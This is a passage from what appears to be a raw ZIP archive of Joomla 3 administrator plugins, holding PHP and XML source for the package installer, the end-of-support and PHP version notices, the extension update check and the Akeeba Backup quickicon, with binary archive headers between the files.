						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_INSTALLING'); ?>
					</span>
				</p>
			</div>
			<div class="upload-actions">
				<p class="lead">
					<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_DRAG_FILE_HERE'); ?>
				</p>
				<p>
					<button id="select-file-button" type="button" class="btn btn-success">
						<span class="icon-copy" aria-hidden="true"></span>
						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_SELECT_FILE'); ?>
					</button>
				</p>
				<p>
					<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?>
				</p>
			</div>
		</div>
	</div>
</div>

<div id="legacy-uploader" style="display: none;">
	<div class="control-group">
		<label for="install_package" class="control-label"><?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_EXTENSION_PACKAGE_FILE'); ?></label>
		<div class="controls">
			<input class="input_box" id="install_package" name="install_package" type="file" size="57" />
			<input id="max_upload_size" name="max_upload_size" type="hidden" value="<?php echo $maxSizeBytes; ?>" /><br>
			<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?>
		</div>
	</div>
	<div class="form-actions">
		<button class="btn btn-primary" type="button" id="installbutton_package" onclick="Joomla.submitbuttonpackage()">
			<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_AND_INSTALL'); ?>
		</button>
	</div>

	<input id="installer-return" name="return" type="hidden" value="<?php echo $return; ?>" />
	<input id="installer-token" name="return" type="hidden" value="<?php echo $token; ?>" />
</div>
PK�(]RdDD/installer/packageinstaller/packageinstaller.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>plg_installer_packageinstaller</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_PACKAGEINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
		<filename plugin="packageinstaller">packageinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_packageinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_packageinstaller.sys.ini</language>
	</languages>
</extension>
PK�(]u��	��/installer/packageinstaller/packageinstaller.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.packageInstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * PackageInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerPackageInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'package';
		$tab['label']   = JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_PACKAGE_FILE');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'packageinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
PK�(]-&\�**quickicon/eos310/eos310.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.eos310
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Joomla! end of support notification plugin
 *
 * @since  3.10.0
 */
class PlgQuickiconEos310 extends CMSPlugin
{
	/**
	 * The EOS date for 3.10
	 *
	 * @var    string
	 * @since  3.10.0
	 */
	const EOS_DATE = '2023-08-17';

	/**
	 * Application object
	 *
	 * @var    CMSApplication
	 * @since  3.10.0
	 */
	protected $app;

	/**
	 * Database object
	 *
	 * @var    DatabaseDriver
	 * @since  3.10.0
	 */
	protected $db;

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.10.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Holding the current valid message to be shown
	 *
	 * @var    boolean
	 * @since  3.10.0
	 */
	private $currentMessage = false;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe.
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   3.10.0
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$diff           = Factory::getDate()->diff(Factory::getDate(static::EOS_DATE));
		$monthsUntilEOS = floor($diff->days / 30.417);

		$this->currentMessage = $this->getMessageInfo($monthsUntilEOS, $diff->invert);
	}

	/**
	 * Check and show the the alert and quickicon message
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array|void  A list of icon definition associative arrays, consisting of the
	 *			keys link, image, text and access, or void.
	 *
	 * @since   3.10.0
	 */
	public function onGetIcons($context)
	{
		if (!$this->shouldDisplayMessage())
		{
			return;
		}

		// No messages yet
		if (!$this->currentMessage)
		{
			return;
		}

		// Show this only when not snoozed
		if ($this->params->get('last_snoozed_id', 0) < $this->currentMessage['id'])
		{
			// Load the snooze scripts.
			HTMLHelper::_('jquery.framework');
			HTMLHelper::_('script', 'plg_quickicon_eos310/snooze.js', array('version' => 'auto', 'relative' => true));

			// Build the  message to be displayed in the cpanel
			$messageText = Text::sprintf(
				$this->currentMessage['messageText'],
				HTMLHelper::_('date', static::EOS_DATE, Text::_('DATE_FORMAT_LC3')),
				$this->currentMessage['messageLink']
			);

			if ($this->currentMessage['snoozable'])
			{
				$messageText .=
					'<p><button class="btn btn-warning eosnotify-snooze-btn" type="button">' .
					Text::_('PLG_QUICKICON_EOS310_SNOOZE_BUTTON') .
					'</button></p>';
			}

			$this->app->enqueueMessage(
				$messageText,
				$this->currentMessage['messageType']
			);
		}

		// The message as quickicon
		$messageTextQuickIcon = Text::sprintf(
			$this->currentMessage['quickiconText'],
			HTMLHelper::_(
				'date',
				static::EOS_DATE,
				Text::_('DATE_FORMAT_LC3')
			)
		);

		// The message as quickicon
		return array(array(
			'link'   => $this->currentMessage['messageLink'],
			'target' => '_blank',
			'rel'    => 'noopener noreferrer',
			'image'  => $this->currentMessage['image'],
			'text'   => $messageTextQuickIcon,
			'id'	 => 'plg_quickicon_eos310',
			'group'  => $this->currentMessage['groupText'],
		));
	}

	/**
	 * User hit the snooze button
	 *
	 * @return  void
	 *
	 * @since   3.10.0
	 *
	 * @throws  JAccessExceptionNotallowed  If user is not allowed.
	 */
	public function onAjaxSnoozeEOS()
	{
		// No messages yet so nothing to snooze
		if (!$this->currentMessage)
		{
			return;
		}

		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new JAccessExceptionNotallowed(Text::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		// Make sure only snoozable messages can be snoozed
		if ($this->currentMessage['snoozable'])
		{
			$this->params->set('last_snoozed_id', $this->currentMessage['id']);

			$this->saveParams();
		}
	}

	/**
	 * Return the texts to be displayed based on the time until we reach EOS
	 *
	 * @param   integer  $monthsUntilEOS  The months until we reach EOS
	 * @param   integer  $inverted        Have we surpassed the EOS date
	 *
	 * @return  array|bool  An array with the message to be displayed or false
	 *
	 * @since   3.10.0
	 */
	private function getMessageInfo($monthsUntilEOS, $inverted)
	{
		// The EOS date has passed - Support has ended
		if ($inverted === 1)
		{
			return array(
				'id'            => 5,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_ERROR_SUPPORT_ENDED',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_ERROR_SUPPORT_ENDED_SHORT',
				'messageType'   => 'error',
				'image'         => 'minus-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_EOS',
				'snoozable'     => false,
			);
		}

		// The security support is ending in 6 months
		if ($monthsUntilEOS < 6)
		{
			return array(
				'id'            => 4,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SUPPORT_ENDING',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SUPPORT_ENDING_SHORT',
				'messageType'   => 'warning',
				'image'         => 'warning-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_WARNING',
				'snoozable'     => true,
			);
		}

		// We are in security only mode now, 12 month to go from now on
		if ($monthsUntilEOS < 12)
		{
			return array(
				'id'            => 3,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SECURITY_ONLY',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_WARNING_SECURITY_ONLY_SHORT',
				'messageType'   => 'warning',
				'image'         => 'warning-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_WARNING',
				'snoozable'     => true,
			);
		}

		// We still have 16 month to go, lets remind our users about the pre upgrade checker
		if ($monthsUntilEOS < 16)
		{
			return array(
				'id'            => 2,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_02',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_02_SHORT',
				'messageType'   => 'info',
				'image'         => 'info-circle',
				'messageLink'   => 'https://docs.joomla.org/Special:MyLanguage/Pre-Update_Check',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_INFO',
				'snoozable'     => true,
			);
		}

		// Lets start our messages 2 month after the initial release, still 22 month to go
		if ($monthsUntilEOS < 22)
		{
			return array(
				'id'            => 1,
				'messageText'   => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_01',
				'quickiconText' => 'PLG_QUICKICON_EOS310_MESSAGE_INFO_01_SHORT',
				'messageType'   => 'info',
				'image'         => 'info-circle',
				'messageLink'   => 'https://www.joomla.org/4/#features',
				'groupText'     => 'PLG_QUICKICON_EOS310_GROUPNAME_INFO',
				'snoozable'     => true,
			);
		}

		return false;
	}

	/**
	 * Determines if the message and quickicon should be displayed
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function shouldDisplayMessage()
	{
		// Only on admin app
		if (!$this->app->isClient('administrator'))
		{
			return false;
		}

		// Only if authenticated
		if (Factory::getUser()->guest)
		{
			return false;
		}

		// Only on HTML documents
		if ($this->app->getDocument()->getType() !== 'html')
		{
			return false;
		}

		// Only on full page requests
		if ($this->app->input->getCmd('tmpl', 'index') === 'component')
		{
			return false;
		}

		// Only to com_cpanel
		if ($this->app->input->get('option') !== 'com_cpanel')
		{
			return false;
		}

		// Don't show anything in 4.0
		if (version_compare(JVERSION, '4.0', '>='))
		{
			return false;
		}

		return true;
	}

	/**
	 * Check valid AJAX request
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function isAjaxRequest()
	{
		return strtolower($this->app->input->server->get('HTTP_X_REQUESTED_WITH', '')) === 'xmlhttprequest';
	}

	/**
	 * Check if current user is allowed to send the data
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function isAllowedUser()
	{
		return Factory::getUser()->authorise('core.login.admin');
	}

	/**
	 * Save the plugin parameters
	 *
	 * @return  boolean
	 *
	 * @since   3.10.0
	 */
	private function saveParams()
	{
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__extensions'))
			->set($this->db->quoteName('params') . ' = ' . $this->db->quote($this->params->toString('JSON')))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote('quickicon'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote('eos310'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$this->db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return false;
		}

		try
		{
			// Update the plugin parameters
			$result = $this->db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$this->db->unlockTables();

			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$this->db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		return $result;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.10.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'	=> $client_id ? JPATH_ADMINISTRATOR . '/cache' : $this->app->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
PK�(]�.U9��quickicon/eos310/eos310.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.10" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_eos310</name>
	<author>Joomla! Project</author>
	<creationDate>June 2021</creationDate>
	<copyright>(C) 2021 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.10.0</version>
	<description>PLG_QUICKICON_EOS310_XML_DESCRIPTION</description>
	<files>
		<filename plugin="eos310">eos310.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_eos310.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_eos310.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="last_snoozed_id"
					type="hidden"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]��Mq
q
-quickicon/extensionupdate/extensionupdate.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.Extensionupdate
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! update notification plugin
 *
 * @since  2.5
 */
class PlgQuickiconExtensionupdate extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Returns an icon definition for an icon which looks for extensions updates
	 * via AJAX and displays a notification when such updates are found.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  array  A list of icon definition associative arrays, consisting of the
	 *                 keys link, image, text and access.
	 *
	 * @since   2.5
	 */
	public function onGetIcons($context)
	{
		if ($context !== $this->params->get('context', 'mod_quickicon') || !JFactory::getUser()->authorise('core.manage', 'com_installer'))
		{
			return;
		}

		JHtml::_('jquery.framework');

		$token    = JSession::getFormToken() . '=' . 1;
		$url      = JUri::base() . 'index.php?option=com_installer&view=update&task=update.find&' . $token;
		$ajax_url = JUri::base() . 'index.php?option=com_installer&view=update&task=update.ajax&' . $token;
		$script   = array();
		$script[] = 'var plg_quickicon_extensionupdate_url = \'' . $url . '\';';
		$script[] = 'var plg_quickicon_extensionupdate_ajax_url = \'' . $ajax_url . '\';';
		$script[] = 'var plg_quickicon_extensionupdate_text = {'
			. '"UPTODATE" : "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE', true) . '",'
			. '"UPDATEFOUND": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND', true) . '",'
			. '"UPDATEFOUND_MESSAGE": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND_MESSAGE', true) . '",'
			. '"UPDATEFOUND_BUTTON": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND_BUTTON', true) . '",'
			. '"ERROR": "' . JText::_('PLG_QUICKICON_EXTENSIONUPDATE_ERROR', true) . '",'
			. '};';
		JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));
		JHtml::_('script', 'plg_quickicon_extensionupdate/extensionupdatecheck.js', array('version' => 'auto', 'relative' => true));

		return array(
			array(
				'link'  => 'index.php?option=com_installer&view=update&task=update.find&' . $token,
				'image' => 'asterisk',
				'icon'  => 'header/icon-48-extension.png',
				'text'  => JText::_('PLG_QUICKICON_EXTENSIONUPDATE_CHECKING'),
				'id'    => 'plg_quickicon_extensionupdate',
				'group' => 'MOD_QUICKICON_MAINTENANCE'
			)
		);
	}
}
PK�(]J�Ƶuu-quickicon/extensionupdate/extensionupdate.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_extensionupdate</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="extensionupdate">extensionupdate.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_extensionupdate.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_extensionupdate.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field 
					name="context"
					type="text"
					label="PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL"
					description="PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC"
					default="mod_quickicon"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]���mII-quickicon/phpversioncheck/phpversioncheck.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="quickicon" method="upgrade">
	<name>plg_quickicon_phpversioncheck</name>
	<author>Joomla! Project</author>
	<creationDate>August 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_QUICKICON_PHPVERSIONCHECK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="phpversioncheck">phpversioncheck.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_quickicon_phpversioncheck.ini</language>
		<language tag="en-GB">en-GB.plg_quickicon_phpversioncheck.sys.ini</language>
	</languages>
</extension>
PK�(]�����-quickicon/phpversioncheck/phpversioncheck.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Quickicon.phpversioncheck
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Plugin to check the PHP version and display a warning about its support status
 *
 * @since  3.7.0
 */
class PlgQuickiconPhpVersionCheck extends JPlugin
{
	/**
	 * Constant representing the active PHP version being fully supported
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_SUPPORTED = 0;

	/**
	 * Constant representing the active PHP version receiving security support only
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_SECURITY_ONLY = 1;

	/**
	 * Constant representing the active PHP version being unsupported
	 *
	 * @var    integer
	 * @since  3.7.0
	 */
	const PHP_UNSUPPORTED = 2;

	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.7.0
	 */
	protected $app;

	/**
	 * Load plugin language files automatically
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Check the PHP version after the admin component has been dispatched.
	 *
	 * @param   string  $context  The calling context
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onGetIcons($context)
	{
		if (!$this->shouldDisplayMessage())
		{
			return;
		}

		$supportStatus = $this->getPhpSupport();

		if ($supportStatus['status'] !== self::PHP_SUPPORTED)
		{
			// Enqueue the notification message; set a warning if receiving security support or "error" if unsupported
			switch ($supportStatus['status'])
			{
				case self::PHP_SECURITY_ONLY:
					$this->app->enqueueMessage($supportStatus['message'], 'warning');

					break;

				case self::PHP_UNSUPPORTED:
					$this->app->enqueueMessage($supportStatus['message'], 'error');

					break;
			}
		}
	}

	/**
	 * Gets PHP support status.
	 *
	 * @return  array  Array of PHP support data
	 *
	 * @since   3.7.0
	 * @note    The dates used in this method should correspond to the dates given on PHP.net
	 * @link    https://www.php.net/supported-versions.php
	 * @link    https://www.php.net/eol.php
	 */
	private function getPhpSupport()
	{
		$phpSupportData = array(
			'5.3' => array(
				'security' => '2013-07-11',
				'eos'      => '2014-08-14',
			),
			'5.4' => array(
				'security' => '2014-09-14',
				'eos'      => '2015-09-14',
			),
			'5.5' => array(
				'security' => '2015-07-10',
				'eos'      => '2016-07-21',
			),
			'5.6' => array(
				'security' => '2017-01-19',
				'eos'      => '2018-12-31',
			),
			'7.0' => array(
				'security' => '2017-12-03',
				'eos'      => '2018-12-03',
			),
			'7.1' => array(
				'security' => '2018-12-01',
				'eos'      => '2019-12-01',
			),
			'7.2' => array(
				'security' => '2019-11-30',
				'eos'      => '2020-11-30',
			),
			'7.3' => array(
				'security' => '2020-12-06',
				'eos'      => '2021-12-06',
			),
			'7.4' => array(
				'security' => '2021-11-28',
				'eos'      => '2022-11-28',
			),
			'8.0' => array(
				'security' => '2022-11-26',
				'eos'      => '2023-11-26',
			),
			'8.1' => array(
				'security' => '2023-11-25',
				'eos'      => '2024-11-25',
			),
		);

		// Fill our return array with default values
		$supportStatus = array(
			'status'  => self::PHP_SUPPORTED,
			'message' => null,
		);

		// Check the PHP version's support status using the minor version
		$activePhpVersion = PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION;

		// Do we have the PHP version's data?
		if (isset($phpSupportData[$activePhpVersion]))
		{
			// First check if the version has reached end of support
			$today           = new JDate;
			$phpEndOfSupport = new JDate($phpSupportData[$activePhpVersion]['eos']);

			if ($phpNotSupported = $today > $phpEndOfSupport)
			{
				/*
				 * Find the oldest PHP version still supported that is newer than the current version,
				 * this is our recommendation for users on unsupported platforms
				 */
				foreach ($phpSupportData as $version => $versionData)
				{
					$versionEndOfSupport = new JDate($versionData['eos']);

					if (version_compare($version, $activePhpVersion, 'ge') && ($today < $versionEndOfSupport))
					{
						$supportStatus['status']  = self::PHP_UNSUPPORTED;
						$supportStatus['message'] = JText::sprintf(
							'PLG_QUICKICON_PHPVERSIONCHECK_UNSUPPORTED',
							PHP_VERSION,
							$version,
							$versionEndOfSupport->format(JText::_('DATE_FORMAT_LC4'))
						);

						return $supportStatus;
					}
				}

				// PHP version is not supported and we don't know of any supported versions.
				$supportStatus['status']  = self::PHP_UNSUPPORTED;
				$supportStatus['message'] = JText::sprintf('PLG_QUICKICON_PHPVERSIONCHECK_UNSUPPORTED_JOOMLA_OUTDATED', PHP_VERSION);

				return $supportStatus;
			}

			// If the version is still supported, check if it has reached eol minus 3 month
			$securityWarningDate = clone $phpEndOfSupport;
			$securityWarningDate->sub(new DateInterval('P3M'));

			if (!$phpNotSupported && $today > $securityWarningDate)
			{
				$supportStatus['status']  = self::PHP_SECURITY_ONLY;
				$supportStatus['message'] = JText::sprintf(
					'PLG_QUICKICON_PHPVERSIONCHECK_SECURITY_ONLY', PHP_VERSION, $phpEndOfSupport->format(JText::_('DATE_FORMAT_LC4'))
				);
			}
		}

		return $supportStatus;
	}

	/**
	 * Determines if the message should be displayed
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	private function shouldDisplayMessage()
	{
		// Only on admin app
		if (!$this->app->isClient('administrator'))
		{
			return false;
		}

		// Only if authenticated
		if (JFactory::getUser()->guest)
		{
			return false;
		}

		// Only on HTML documents
		if ($this->app->getDocument()->getType() !== 'html')
		{
			return false;
		}

		// Only on full page requests
		if ($this->app->input->getCmd('tmpl', 'index') === 'component')
		{
			return false;
		}

		// Only to com_cpanel
		if ($this->app->input->get('option') !== 'com_cpanel')
		{
			return false;
		}

		return true;
	}
}
PK�(]��ѡ�� quickicon/akeebabackup/.htaccessnu�[���<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
PK�(]�;��!quickicon/akeebabackup/script.phpnu�[���<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

use FOF40\InstallScript\Plugin;

defined('_JEXEC') || die;

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	throw new RuntimeException('This extension requires FOF 4.');
}

class plgQuickiconAkeebabackupInstallerScript extends Plugin
{
}
PK�(]̏�ʆ�'quickicon/akeebabackup/akeebabackup.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="2.5" type="plugin" group="quickicon" method="upgrade">
    <name>plg_quickicon_akeebabackup</name>
    <author>Nicholas K. Dionysopoulos</author>
    <authorEmail>nicholas@akeeba.com</authorEmail>
    <authorUrl>https://www.akeeba.com</authorUrl>
    <copyright>Copyright (c)2006-2023 Nicholas K. Dionysopoulos</copyright>
    <license>GNU General Public License version 3, or later</license>
    <creationDate>2023-05-26</creationDate>
    <version>8.3.1</version>
    <description>PLG_QUICKICON_AKEEBABACKUP_XML_DESCRIPTION</description>
    <files>
        <filename plugin="akeebabackup">akeebabackup.php</filename>
        <filename>index.html</filename>
        <filename>.htaccess</filename>
        <filename>web.config</filename>
    </files>
    <languages folder="language">
        <language tag="en-GB">en-GB/en-GB.plg_quickicon_akeebabackup.ini</language>
        <language tag="en-GB">en-GB/en-GB.plg_quickicon_akeebabackup.sys.ini</language>
    </languages>
    <config addfieldpath="/administrator/components/com_akeeba/fields">
        <fields name="params">
            <fieldset name="basic">
                <field name="enablewarning"
					   type="fancyradio"
					   label="PLG_QUICKICON_AKEEBABACKUP_LBL_WARNINGS"
                       description="PLG_QUICKICON_AKEEBABACKUP_DESC_WARNINGS"
					   default="1"
                       class="btn-group btn-group-yesno"
				>
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>

                <field name="warnfailed"
                       type="fancyradio"
                       label="PLG_QUICKICON_AKEEBABACKUP_LBL_WARNFAILED"
                       description="PLG_QUICKICON_AKEEBABACKUP_DESC_WARNFAILED"
					   default="1"
                       class="btn-group btn-group-yesno"
                       showon="enablewarning:1"
                >
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>

                <field name="maxbackupperiod"
					   type="number"
					   label="PLG_QUICKICON_AKEEBABACKUP_LBL_PERIOD"
                       description="PLG_QUICKICON_AKEEBABACKUP_DESC_PERIOD"
					   min="1"
					   max="87600"
					   step="1"
					   default="24"/>


                <field name="profileid"
					   type="backupprofiles"
					   default="1"
                       label="PLG_QUICKICON_AKEEBABACKUP_PROFILE_LABEL"
					   class="advancedSelect"
                       description="PLG_QUICKICON_AKEEBABACKUP_PROFILE_DESC"
                />
            </fieldset>
        </fields>
    </config>

    <scriptfile>script.php</scriptfile>
</extension>PK�(]b�d�3�3'quickicon/akeebabackup/akeebabackup.phpnu�[���<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

// Old PHP version detected. EJECT! EJECT! EJECT!
if (!version_compare(PHP_VERSION, '7.2.0', '>='))
{
	return;
}

// Make sure Akeeba Backup is installed
if (!file_exists(JPATH_ADMINISTRATOR . '/components/com_akeeba'))
{
	return;
}

use Akeeba\Backup\Admin\Model\Statistics;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Date\Date;
use FOF40\JoomlaAbstraction\CacheCleaner;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Uri\Uri;

// Deactivate self
$db    = JFactory::getDbo();
$query = $db->getQuery(true)
	->update($db->qn('#__extensions'))
	->set($db->qn('enabled') . ' = ' . $db->q('0'))
	->where($db->qn('element') . ' = ' . $db->q('akeebabackup'))
	->where($db->qn('folder') . ' = ' . $db->q('quickicon'));
$db->setQuery($query);
$db->execute();

// Load FOF if not already loaded
if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
{
	return;
}

